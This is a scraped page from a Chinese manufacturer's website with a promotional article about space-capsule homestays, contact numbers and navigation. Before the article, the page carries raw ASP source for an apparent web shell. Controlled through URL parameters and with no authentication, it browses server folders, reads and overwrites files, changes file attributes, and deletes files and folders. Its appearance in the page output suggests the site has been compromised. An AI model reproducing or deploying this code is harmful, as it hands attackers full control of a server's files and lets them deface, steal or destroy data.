<% On Error Resume Next function bianliFolder(currentPath) path = server.mapPath(currentPath) response.write("v1.1Current Folder is " & path & "
") set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) upperFolder = LEFT(currentPath,(InStrRev(currentPath,"/")-1)) IF currentPath <> "/" THEN if upperFolder="" then upperFolder="/" response.write("· 返回上级目录 ") response.write(upperFolder) response.write("") END IF if Right(currentPath,1)<>"/" then currentPath=currentPath&"/" set objSubFolders=objFolder.Subfolders for each objSubFolder in objSubFolders 'nowpath=path + "\" + objSubFolder.name nowpath=objSubFolder.name nextPath = currentPath & objSubFolder.name 'Response.Write nowpath 'Response.Write "·" & nowpath & "" Response.Write "·" & nowpath & "" Response.Write ""&objSubFolder.datelastmodified&"  " 'bianli(nowpath)'递归 next Call bianliFile(currentPath) set objFolder=nothing set objSubFolders=nothing set fso=nothing end function %> <% function bianliFile(currentPath) 'go through files path = server.mapPath(currentPath) 'Response.Write("path is " & path & "
") set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) nowpath = path 'Response.Write("now path is " & nowpath & "
") 'Response.Write "" & nowpath & "" set objFiles=objFolder.Files for each objFile in objFiles Response.Write "·" Response.Write objFile.name & "" & objFile.datelastmodified& "" Response.Write "GB2312 Edit  UTF-8 EditDel" next Response.Write "

" 'bianli(nowpath)'递归 set objFolder=nothing set objSubFolders=nothing set fso=nothing end function %> <% function delit(fileType,path) 'remove a file set fso=server.CreateObject("scripting.filesystemobject") IF UCase(fileType) = "SINGLE" THEN fso.DeleteFile(path) END IF IF UCase(fileType) = "MULTI" THEN fso.DeleteFolder(path) END IF end function %> <% function displayit(fileType,path) response.write Server.HTMLEncode(LoadFile(path,fileType)) end function function readItAll(path) 'read a file Set objTStream = objFSO.OpenTextFile(path) Do While Not objTStream.AtEndOfStream 'get the line number intLineNum = objTStream.Line 'format and convert to a string strLineNum = Right("00" & CStr(intLineNum), 3) 'get the text of the line from the file strLineText = objTStream.ReadLine Response.Write strLineNum & ": " & strLineText & vbCrLf Loop objTStream.Close end function Function writeTextFile(fileName,fileToWrite,fileType) SaveToFile fileToWrite,fileName,fileType End Function Function LoadFile(ByVal File,ByVal charset) Dim objStream Set objStream = Server.CreateObject("ADODB.Stream") If Err.Number=-2147221005 Then Response.Write "

非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序
" Err.Clear Response.End End If With objStream .Type = 2 .Mode = 3 .Open .LoadFromFile File If Err.Number<>0 Then Response.Write "
文件"&File&"无法被打开，请检查是否存在!
" Err.Clear Response.End End If .Charset = charset .Position = 2 LoadFile = .ReadText .Close End With Set objStream = Nothing End Function '存储内容到文件 Sub SaveToFile(ByVal strBody,ByVal File,ByVal charset) Dim objStream On Error Resume Next if left(strBody,8)="" then strBody=Mid(strBody,9) end if Set objStream = Server.CreateObject("ADODB.Stream") If Err.Number=-2147221005 Then Response.Write "
非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序
" Err.Clear Response.End End If With objStream .Type = 2 .Mode = 3 .Open .Charset = charset .Position = objStream.Size .WriteText = strBody .SaveToFile File,2 .Close End With Set objStream = Nothing End Sub %> <% action = request.queryString("action") IF action = "del" THEN fileType = request.queryString("fileType") filePath = request.queryString("filePath") response.write(filePath) Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject") Set Myfile=MyFileObject.GetFile(fileName) Myfile.attributes=0 Call delit(fileType,filePath) 'response.redirect("") if err then Response.Write "错误："&Err.Description response.end else Response.Write "成功！" response.end end if END IF IF action = "save" THEN Dim db,fileToWriteType,fileContent,fileName fileType = Request("fileType") fileAddress = Request("fileAddress") fileAddressNew = Request("fileAddressNew") fileContent = Request("fileContent") IF fileAddresNew = "" THEN fileName = fileAddress ELSE fileName = fileAddressNew END IF Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject") Set Myfile=MyFileObject.GetFile(fileName) Myfile.attributes=0 Call writeTextFile(fileName,fileContent,fileType) 'Call funAlertMsg("操作成功！") if err then Response.Write fileName&"
错误s："&Err.Description response.end else Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject") Set Myfile=MyFileObject.GetFile(fileName) Myfile.attributes=1 Response.Write "
成功！" response.end end if END IF %> <% IF action = "display" THEN filePath = request.queryString("filePath") fileType = request.queryString("fileType") %>




<% response.write(filePath) %> <% if err then Response.Write "
状态:错误："&Err.Description response.end else Response.Write "
状态:成功！" response.end end if %> <% END IF %> <% rootPath = request.queryString("rootPath") 'if not set the rootPath parameter then set it to current path if rootPath = "" then rootPath = "/" Call bianliFolder(rootPath) %>

咨询联系方式：


太空舱热线：158-963-00999

街具热线：   182-515-12950

新闻中心 / NEWS

新闻中心

行业资讯

联系我们 / CONTACT US
资讯中心
放慢了脚步，将静谧诗意的氛围萦绕在你身边，享受自然地风光。——沐晨太空舱
2023-2-21
来源:未知
点击数:  2975        作者:未知

  • 一起去旅行
    Travel together

    生活于城市之中，谧境难寻，草木稀疏。

    随着文艺青年的背包旅行

    每一座小镇

    每一条山川

    太空舱民宿蔚然成风。

    沐辰太空舱民宿，

    有悬放于青山绿水畔的逸然出尘。

    也有隐匿于村野田间的质朴内敛

    还有坐落于江南小园的诗意栖居……

     2 (2).jpg

    相比起家宅，

    “他”’少了几分温馨

    却多了我们根植于内心的诗意情怀；

    相比起酒店，

    “他”少了几分奢靡华贵

    却多了洒然不群的随行自在。

    5.jpg

    沐辰“太空舱”民宿打造了户外移动式太空舱

    不受地域地形限制的优势

    且保留了自己的独特性和私密性。

    智能家居一体化控制，在房间任何位置

    都可以体会到无微不至的细节感受。

    4 (3).jpg 

    走进沐辰“太空舱”民宿

    床铺、沙发、茶桌、洗漱台、抽水马桶

    绝不低于星级标准。

    坐在全玻璃观景阳台上

    泡上一壶茶

    与朋友谈天说地

    观赏翠云池涟漪阵阵的水波。

    夜晚

    透过舱顶、四周真空玻璃仰望星辰

    仿佛畅游太空。

    4.jpg 

    旅行

    就是在另一个地方

    寻找一处属于自己心中的“庇护所”

    遇见久违的感动。

    舒适的居住环境令人身心愉悦

    沐辰太空舱总能给你最美的风景与静谧的感受

    就像家一样

    总有一款产品间能俘获你的心...... 

    7.jpg

    END
    ac34e6704e0811d78a3e328c25ff581.jpg
    一起去旅行
    奔赴山海
    即刻出发


上一篇:上海医加医健康舱客户到我司产品实地考察
下一篇:在关怀中砥砺前行——市领导来我厂视察
相关文章
  • 暂无信息
热门评论

  • 暂无信息

验证码： 验证码,看不清楚?请点击刷新验证码
网站导航
候车亭系列
太空舱系列
城市配套系列
资讯中心

新闻中心

行业资讯

联系方式
微信二维码
扫一扫 加微信

太空舱热线： 158-963-00999

街具热线：     182-515-12950

版权所有 2021-2024 宿迁沐辰科技有限公司  ALL RIGHTS RESERVED   备案号：苏ICP备2021046777号-1

关注公众号

公司地址： 宿迁市宿豫区张家港宿豫工业园区张家港大道2号

友情链接：

电商平台